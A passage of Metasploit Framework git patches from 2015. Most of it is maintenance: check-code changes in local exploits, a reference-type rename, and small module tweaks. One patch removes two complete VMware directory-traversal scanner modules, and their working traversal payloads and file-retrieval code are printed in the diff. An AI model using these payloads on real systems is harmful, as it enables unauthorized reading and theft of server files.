0475/2172] Fix the regex flags --- modules/auxiliary/scanner/http/cert.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb index 07eb621360..167bb24fc9 100644 --- a/modules/auxiliary/scanner/http/cert.rb +++ b/modules/auxiliary/scanner/http/cert.rb @@ -43,8 +43,6 @@ class Metasploit3 < Msf::Auxiliary print_status("#{ip} No certificate subject or CN found") return end - - issuer_pattern = Regexp.new(datastore['ISSUER']) sub = cert.subject.to_a before = Time.parse("#{cert.not_before}") @@ -61,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary end end - if ( "#{cert.issuer}" !~ /#{issuer_pattern}/) + if cert.issuer.to_s !~ /#{datastore['ISSUER']}/n print_good("#{ip} - '#{vhostn}' : #{cert.issuer} (BAD ISSUER)" ) elsif datastore['SHOWALL'] # show verbose as status From 77f56c563bb174f9ffa45cef1b83f333c160b580 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 1 Sep 2015 23:25:01 -0500 Subject: [PATCH 0476/2172] Land #5867, add PACKETSTORM reference types --- lib/msf/core/module/reference.rb | 2 +- tools/module_reference.rb | 26 +++++++++++++------------- tools/msftidy.rb | 6 +++--- 3 files changed, 17 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index 85d436130a..a124881f76 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -113,7 +113,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}" elsif (in_ctx_id == 'WPVDB') self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}" - elsif (in_ctx_id == 'PKT') + elsif (in_ctx_id == 'PACKETSTORM') self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}" elsif (in_ctx_id == 'URL') self.site = in_ctx_val.to_s diff --git a/tools/module_reference.rb b/tools/module_reference.rb index 299cb5d6af..f678f81d77 100755 --- a/tools/module_reference.rb +++ b/tools/module_reference.rb @@ -23,18 +23,18 @@ require 'uri' # We gsub '#{in_ctx_val}' with the actual value def types { - 'ALL' => '', - 'OSVDB' => 'http://www.osvdb.org/#{in_ctx_val}', - 'CVE' => 'http://cvedetails.com/cve/#{in_ctx_val}/', - 'CWE' => 'http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html', - 'BID' => 'http://www.securityfocus.com/bid/#{in_ctx_val}', - 'MSB' => 'http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}', - 'EDB' => 'http://www.exploit-db.com/exploits/#{in_ctx_val}', - 'US-CERT-VU' => 'http://www.kb.cert.org/vuls/id/#{in_ctx_val}', - 'ZDI' => 'http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}', - 'WPVDB' => 'https://wpvulndb.com/vulnerabilities/#{in_ctx_val}', - 'PKT' => 'https://packetstormsecurity.com/files/#{in_ctx_val}', - 'URL' => '#{in_ctx_val}' + 'ALL' => '', + 'OSVDB' => 'http://www.osvdb.org/#{in_ctx_val}', + 'CVE' => 'http://cvedetails.com/cve/#{in_ctx_val}/', + 'CWE' => 'http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html', + 'BID' => 'http://www.securityfocus.com/bid/#{in_ctx_val}', + 'MSB' => 'http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}', + 'EDB' => 'http://www.exploit-db.com/exploits/#{in_ctx_val}', + 'US-CERT-VU' => 'http://www.kb.cert.org/vuls/id/#{in_ctx_val}', + 'ZDI' => 'http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}', + 'WPVDB' => 'https://wpvulndb.com/vulnerabilities/#{in_ctx_val}', + 'PACKETSTORM' => 'https://packetstormsecurity.com/files/#{in_ctx_val}', + 'URL' => '#{in_ctx_val}' } end @@ -146,7 +146,7 @@ def is_url_alive?(uri) if res.nil? || res.code == 404 || res.body =~ /<title>.*not found<\/title>/i #puts "Return false 3: HTTP #{res.code}" #puts req.to_s - return false + return false end true diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 8e56987e6c..c9d929e8c4 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -193,8 +193,8 @@ class Msftidy warn("Invalid ZDI reference") if value !~ /^\d{2}-\d{3}$/ when 'WPVDB' warn("Invalid WPVDB reference") if value !~ /^\d+$/ - when 'PKT' - warn("Invalid PKT reference") if value !~ /^\d+$/ + when 'PACKETSTORM' + warn("Invalid PACKETSTORM reference") if value !~ /^\d+$/ when 'URL' if value =~ /^http:\/\/www\.osvdb\.org/ warn("Please use 'OSVDB' for '#{value}'") @@ -211,7 +211,7 @@ class Msftidy elsif value =~ /^https:\/\/wpvulndb\.com\/vulnerabilities\// warn("Please use 'WPVDB' for '#{value}'") elsif value =~ /^http:\/\/packetstormsecurity\.com\/files\// - warn("Please use 'PKT' for '#{value}'") + warn("Please use 'PACKETSTORM' for '#{value}'") end end end From 4275a65407389f2d04d4cf72e788d826eef5760c Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 1 Sep 2015 23:26:45 -0500 Subject: [PATCH 0477/2172] Update local exploit checks to follow the guidelines. Please see wiki "How to write a check() method" to learn how these checkcodes are determined. --- .../osx/local/dyld_print_to_file_root.rb | 2 +- .../exploits/osx/local/iokit_keyboard_root.rb | 2 +- modules/exploits/osx/local/nfs_mount_root.rb | 2 +- modules/exploits/osx/local/rootpipe.rb | 2 +- .../osx/local/rootpipe_entitlements.rb | 2 +- modules/exploits/windows/local/bthpan.rb | 5 +-- .../exploits/windows/local/ikeext_service.rb | 4 +-- .../windows/local/lenovo_systemupdate.rb | 2 +- modules/exploits/windows/local/mqac_write.rb | 2 +- .../windows/local/ms10_015_kitrap0d.rb | 2 +- .../windows/local/ms13_053_schlamperei.rb | 6 ++-- .../local/ms13_081_track_popup_menu.rb | 6 ++-- .../windows/local/ms14_009_ie_dfsvc.rb | 2 +- .../local/ms14_058_track_popup_menu.rb | 5 +-- .../windows/local/ms14_070_tcpip_ioctl.rb | 2 +- .../local/ms15_051_client_copy_image.rb | 2 +- .../windows/local/ntapphelpcachecontrol.rb | 4 +-- .../exploits/windows/local/ppr_flatten_rec.rb | 32 +++++++++---------- .../local/virtual_box_guest_additions.rb | 8 ++--- 19 files changed, 46 insertions(+), 46 deletions(-) diff --git a/modules/exploits/osx/local/dyld_print_to_file_root.rb b/modules/exploits/osx/local/dyld_print_to_file_root.rb index 31f6a035a2..28008e88b5 100644 --- a/modules/exploits/osx/local/dyld_print_to_file_root.rb +++ b/modules/exploits/osx/local/dyld_print_to_file_root.rb @@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local end def check - (ver?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe + (ver?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe end def ver? diff --git a/modules/exploits/osx/local/iokit_keyboard_root.rb b/modules/exploits/osx/local/iokit_keyboard_root.rb index f35c7526c9..e0b2c5f914 100644 --- a/modules/exploits/osx/local/iokit_keyboard_root.rb +++ b/modules/exploits/osx/local/iokit_keyboard_root.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local def check if ver_lt(osx_ver, "10.10") - Exploit::CheckCode::Vulnerable + Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end diff --git a/modules/exploits/osx/local/nfs_mount_root.rb b/modules/exploits/osx/local/nfs_mount_root.rb index e9636e54b5..c4683889ab 100644 --- a/modules/exploits/osx/local/nfs_mount_root.rb +++ b/modules/exploits/osx/local/nfs_mount_root.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local def check if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8" - Exploit::CheckCode::Vulnerable + Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end diff --git a/modules/exploits/osx/local/rootpipe.rb b/modules/exploits/osx/local/rootpipe.rb index eaf27a9356..f22d6cb6a2 100644 --- a/modules/exploits/osx/local/rootpipe.rb +++ b/modules/exploits/osx/local/rootpipe.rb @@ -60,7 +60,7 @@ class Metasploit4 < Msf::Exploit::Local end def check - (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe + (ver? && admin?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb index 80ca7d5ecb..0a031f7a11 100644 --- a/modules/exploits/osx/local/rootpipe_entitlements.rb +++ b/modules/exploits/osx/local/rootpipe_entitlements.rb @@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Local def check if ver? && admin? vprint_status("Version is between 10.9 and 10.10.3, and is admin.") - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/local/bthpan.rb b/modules/exploits/windows/local/bthpan.rb index d69045fa99..e0e5d015cd 100644 --- a/modules/exploits/windows/local/bthpan.rb +++ b/modules/exploits/windows/local/bthpan.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation', + 'Name' => 'MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation', 'Description' => %q{ A vulnerability within Microsoft Bluetooth Personal Area Networking module, BthPan.sys, can allow an attacker to inject memory controlled by the attacker @@ -53,6 +53,7 @@ class Metasploit3 < Msf::Exploit::Local ], 'References' => [ + [ 'MSB', 'MS14-062' ], [ 'CVE', '2014-4971' ], [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ], [ 'OSVDB', '109387' ] @@ -136,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Local session.railgun.kernel32.CloseHandle(handle) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected end def exploit diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 6cfeb956ae..7278e5aee6 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -65,12 +65,12 @@ class Metasploit3 < Msf::Exploit::Local srv_info = service_info(service) if srv_info.nil? - print_warning("Unable to enumerate services.") + vprint_warning("Unable to enumerate services.") return false end if srv_info && srv_info[:display].empty? - print_warning("Service #{service} does not exist.") + vprint_warning("Service #{service} does not exist.") return false else return true diff --git a/modules/exploits/windows/local/lenovo_systemupdate.rb b/modules/exploits/windows/local/lenovo_systemupdate.rb index ff4a2a4cf5..35e5fe61b1 100644 --- a/modules/exploits/windows/local/lenovo_systemupdate.rb +++ b/modules/exploits/windows/local/lenovo_systemupdate.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Local svc = service_info('SUService') if svc && svc[:display] =~ /System Update/ vprint_good("Found service '#{svc[:display]}'") - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb index 3826e7c15f..024fb55adc 100644 --- a/modules/exploits/windows/local/mqac_write.rb +++ b/modules/exploits/windows/local/mqac_write.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Local when /windows xp.*service pack 3/i return Exploit::CheckCode::Appears when /windows xp/i - print_error('Unsupported version of Windows XP detected') + vprint_error('Unsupported version of Windows XP detected') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/local/ms10_015_kitrap0d.rb b/modules/exploits/windows/local/ms10_015_kitrap0d.rb index 0c5bbc29bd..8145b65278 100644 --- a/modules/exploits/windows/local/ms10_015_kitrap0d.rb +++ b/modules/exploits/windows/local/ms10_015_kitrap0d.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Safe end - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected end def exploit diff --git a/modules/exploits/windows/local/ms13_053_schlamperei.rb b/modules/exploits/windows/local/ms13_053_schlamperei.rb index 3a915f1632..8d647f7a8d 100644 --- a/modules/exploits/windows/local/ms13_053_schlamperei.rb +++ b/modules/exploits/windows/local/ms13_053_schlamperei.rb @@ -73,12 +73,12 @@ class Metasploit3 < Msf::Exploit::Local case build when 7600 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when 7601 if branch == 18 - return Exploit::CheckCode::Vulnerable if revision < 18176 + return Exploit::CheckCode::Appears if revision < 18176 else - return Exploit::CheckCode::Vulnerable if revision < 22348 + return Exploit::CheckCode::Appears if revision < 22348 end end return Exploit::CheckCode::Unknown diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb index 6d98b67a24..7095e49f9e 100644 --- a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Local def check os = sysinfo["OS"] if (os =~ /windows/i) == nil - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end file_path = expand_path("%windir%") << "\\system32\\win32k.sys" @@ -75,9 +75,9 @@ class Metasploit3 < Msf::Exploit::Local case build when 7600 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when 7601 - return Exploit::CheckCode::Vulnerable if revision <= 18126 + return Exploit::CheckCode::Appears if revision <= 18126 when 9200 return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb index da8978c455..a4d5236714 100644 --- a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb +++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Safe end - Exploit::CheckCode::Vulnerable + Exploit::CheckCode::Appears end def get_net_version diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb index 7faab42aa7..2908ef555f 100644 --- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb @@ -77,7 +77,8 @@ class Metasploit3 < Msf::Exploit::Local os = sysinfo["OS"] if os !~ /windows/i - return Exploit::CheckCode::Unknown + # Non-Windows systems are definitely not affected. + return Exploit::CheckCode::Safe end if sysinfo["Architecture"] =~ /(wow|x)64/i @@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Safe if build == 9200 return Exploit::CheckCode::Safe if build == 9600 - return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build) + return Exploit::CheckCode::Appears if [2600, 3790, 7600, 7601].include?(build) return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb index e2285ff4de..d1430d6bab 100644 --- a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb +++ b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Local vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb index 3ec8721cdb..afa42a0dcd 100644 --- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Safe if build > 7601 - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears end def exploit diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb index d7866b5d28..a0269a72b3 100644 --- a/modules/exploits/windows/local/ntapphelpcachecontrol.rb +++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb @@ -121,9 +121,7 @@ class Metasploit3 < Msf::Exploit::Local def check if sysinfo['OS'] =~ /Windows 8/ - # Still an 0day, but since this check doesn't actually trigger the vulnerability - # so we should only flag this as CheckCode::Appears - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 8a98ee1b80..9bf0d99c53 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -82,39 +82,39 @@ class Metasploit3 < Msf::Exploit::Local major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}") - #WinXP x86 - 5.1.2600.6404 - #WinXP/2003 5.2.3790.5174 - #WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132 - #Win72k8R2 - 6.1.7601.18176 / 6.1.7601.22348 - #Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732 + # WinXP x86 - 5.1.2600.6404 + # WinXP/2003 5.2.3790.5174 + # WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132 + # Win72k8R2 - 6.1.7601.18176 / 6.1.7601.22348 + # Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732 case build when 2600 - return Exploit::CheckCode::Vulnerable if revision < 6404 + return Exploit::CheckCode::Appears if revision < 6404 when 3790 - return Exploit::CheckCode::Vulnerable if revision < 5174 + return Exploit::CheckCode::Appears if revision < 5174 when 6000 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when 6001 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when 6002 if branch == 18 - return Exploit::CheckCode::Vulnerable if revision < 18861 + return Exploit::CheckCode::Appears if revision < 18861 else - return Exploit::CheckCode::Vulnerable if revision < 23132 + return Exploit::CheckCode::Appears if revision < 23132 end when 7600 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when 7601 if branch == 18 - return Exploit::CheckCode::Vulnerable if revision < 18176 + return Exploit::CheckCode::Appears if revision < 18176 else - return Exploit::CheckCode::Vulnerable if revision < 22348 + return Exploit::CheckCode::Appears if revision < 22348 end when 9200 if branch == 16 - return Exploit::CheckCode::Vulnerable if revision < 16627 + return Exploit::CheckCode::Appears if revision < 16627 else - return Exploit::CheckCode::Vulnerable if revision < 20732 + return Exploit::CheckCode::Appears if revision < 20732 end end end diff --git a/modules/exploits/windows/local/virtual_box_guest_additions.rb b/modules/exploits/windows/local/virtual_box_guest_additions.rb index 11122defcd..fc78d7e63f 100644 --- a/modules/exploits/windows/local/virtual_box_guest_additions.rb +++ b/modules/exploits/windows/local/virtual_box_guest_additions.rb @@ -115,13 +115,13 @@ class Metasploit3 < Msf::Exploit::Local case minor when 0 - return Exploit::CheckCode::Vulnerable if build < 26 + return Exploit::CheckCode::Appears if build < 26 when 1 - return Exploit::CheckCode::Vulnerable if build < 34 + return Exploit::CheckCode::Appears if build < 34 when 2 - return Exploit::CheckCode::Vulnerable if build < 26 + return Exploit::CheckCode::Appears if build < 26 when 3 - return Exploit::CheckCode::Vulnerable if build < 12 + return Exploit::CheckCode::Appears if build < 12 end return Exploit::CheckCode::Safe From cefb7c83f321ea81e0a34ce18bcfbc0868e8b494 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Wed, 2 Sep 2015 15:37:34 +1000 Subject: [PATCH 0478/2172] Fix call to migrate --- .../post/meterpreter/ui/console/command_dispatcher/core.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index af913da651..6bd19aa2dd 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -870,11 +870,7 @@ class Console::CommandDispatcher::Core server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. - if client.platform =~ /linux/ - client.core.migrate(pid, writable_dir, opts) - else - client.core.migrate(pid, opts: opts) - end + client.core.migrate(pid, writable_dir, opts) print_status('Migration completed successfully.') From 8e993d779370214a7dc9eef1ac060dc00f75f169 Mon Sep 17 00:00:00 2001 From: Waqas Ali <waqas.bsquare@gmail.com> Date: Wed, 2 Sep 2015 13:00:15 +0500 Subject: [PATCH 0479/2172] Remove deprecated vmware modules --- .../scanner/http/vmware_server_dir_trav.rb | 87 ------------------- .../http/vmware_update_manager_traversal.rb | 75 ---------------- 2 files changed, 162 deletions(-) delete mode 100644 modules/auxiliary/scanner/http/vmware_server_dir_trav.rb delete mode 100644 modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb diff --git a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb deleted file mode 100644 index ad5a26474b..0000000000 --- a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb +++ /dev/null @@ -1,87 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - # Exploit mixins should be called first - include Msf::Exploit::Remote::HttpClient - # Scanner mixin should be near last - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report - include Msf::Module::Deprecated - - deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_server_dir_trav') - - def initialize - super( - 'Name' => 'VMware Server Directory Traversal Vulnerability', - 'Description' => 'This modules exploits the VMware Server Directory Traversal - vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before - 2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5 - allows remote attackers to read arbitrary files. Common VMware server ports - 80/8222 and 443/8333 SSL. If you want to download the entire VM, check out - the gueststealer tool.', - 'Author' => 'CG' , - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2009-0015.html' ], - [ 'OSVDB', '59440' ], - [ 'BID', '36842' ], - [ 'CVE', '2009-3733' ], - [ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ] - ] - ) - register_options( - [ - Opt::RPORT(8222), - OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']), - OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']), - ], self.class) - end - - def run_host(target_host) - - begin - file = datastore['FILE'] - trav = datastore['TRAV'] - res = send_request_raw({ - 'uri' => trav+file, - 'version' => '1.1', - 'method' => 'GET' - }, 25) - - if res.nil? - print_error("Connection timed out") - return - end - - if res.code == 200 - #print_status("Output Of Requested File:\n#{res.body}") - print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability") - report_vuln( - { - :host => target_host, - :port => rport, - :proto => 'tcp', - :name => self.name, - :info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}", - :refs => self.references, - :exploited_at => Time.now.utc - } - ) - else - vprint_status("Received #{res.code} for #{trav}#{file}") - end - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e - print_error(e.message) - rescue ::Timeout::Error, ::Errno::EPIPE - end - end - -end diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb deleted file mode 100644 index 837ab58a29..0000000000 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ /dev/null @@ -1,75 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner - include Msf::Module::Deprecated - - deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_update_manager_traversal') - - def initialize(info={}) - super(update_info(info, - 'Name' => "VMWare Update Manager 4 Directory Traversal", - 'Description' => %q{ - This modules exploits a directory traversal vulnerability in VMWare Update Manager - on port 9084. Versions affected by this vulnerability: vCenter Update Manager - 4.1 prior to Update 2, vCenter Update Manager 4 Update 4. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Alexey Sintsov', #Initial discovery, poc - 'sinn3r' #Metasploit - ], - 'References' => - [ - ['CVE', '2011-4404'], - ['EDB', '18138'], - ['URL', 'http://www.vmware.com/security/advisories/VMSA-2011-0014.html'], - ['URL', 'http://dsecrg.com/pages/vul/show.php?id=342'] - ], - 'DisclosureDate' => "Nov 21 2011")) - - register_options( - [ - Opt::RPORT(9084), - OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), - OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini']) - ], self.class) - end - - def run_host(ip) - fname = File.basename(datastore['FILE']) - traversal = ".\\..\\..\\..\\..\\..\\..\\..\\" - uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE'] - - print_status("#{rhost}:#{rport} - Requesting: #{uri}") - - res = send_request_raw({ - 'method' => 'GET', - 'uri' => uri - }, 25) - - # If there's no response, don't bother - if res.nil? or res.body.empty? - print_error("No content retrieved from: #{ip}") - return - end - - if res.code == 404 - print_error("#{rhost}:#{rport} - File not found") - return - else - print_good("File retrieved from: #{ip}") - p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname) - print_status("File stored in: #{p}") - end - end -end From 8f25a006a883cee4f5f0e1dba237da8156133ab9 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Wed, 2 Sep 2015 09:13:25 +0100 Subject: [PATCH 0480/2172] Change to automatic target --- modules/exploits/windows/local/bypassuac_vbs.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb index 2350a01716..cc6d87bb33 100644 --- a/modules/exploits/windows/local/bypassuac_vbs.rb +++ b/modules/exploits/windows/local/bypassuac_vbs.rb @@ -29,8 +29,7 @@ class Metasploit3 < Msf::Exploit::Local 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] ], 'DefaultTarget' => 0, 'References' => [ From a81a9e0ef83eb351558d8606c2d8a75f6d0fbc55 Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Wed, 2 Sep 2015 16:55:20 +0700 Subject: [PATCH 0481/2172] Added TIME_WAIT for GUI windows --- modules/exploits/unix/x11/x11_keyboard_exec.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/exploits/unix/x11/x11_keyboard_exec.rb b/modules/exploits/unix/x11/x11_keyboard_exec.rb index fdd91eb4ad..cc79097b18 100644 --- a/modules/exploits/unix/x11/x11_keyboard_exec.rb +++ b/modules/exploits/unix/x11/x11_keyboard_exec.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'X11 Keyboard Exec', + 'Name' => 'X11 Keyboard Command Injection', 'Description' => %q{ This module exploits open X11 servers by connecting and registering a virtual keyboard. The virtual keyboard is used to open an xterm terminal @@ -108,7 +108,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - Opt::RPORT(6000) + Opt::RPORT(6000), + OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows', 5]) ], self.class) end @@ -225,15 +226,15 @@ class Metasploit3 < Msf::Exploit::Remote release_key(KB_KEYS["alt"]) release_key(KB_KEYS["f2"]) - # Wait a second to open the dialog - select(nil, nil, nil, 1) + # Wait X seconds to open the dialog + select(nil, nil, nil, datastore['TIME_WAIT']) # Start a xterm terminal print_status("#{rhost}:#{rport} - Opening xterm") type_command("xterm") - # Wait a second to open the terminal - select(nil, nil, nil, 1) + # Wait X seconds to open the terminal + select(nil, nil, nil, datastore['TIME_WAIT']) # "Type" our payload and execute it print_status("#{rhost}:#{rport} - Typing and executing payload") From 95b9208a631909d346f2549bc6179e1e9ade34a5 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 2 Sep 2015 10:30:19 -0500 Subject: [PATCH 0482/2172] Change recv to get_once to avoid indefinite hangs, cosmetic tweaks. --- .../exploits/unix/x11/x11_keyboard_exec.rb | 35 ++++++++++--------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/modules/exploits/unix/x11/x11_keyboard_exec.rb b/modules/exploits/unix/x11/x11_keyboard_exec.rb index cc79097b18..20f9245172 100644 --- 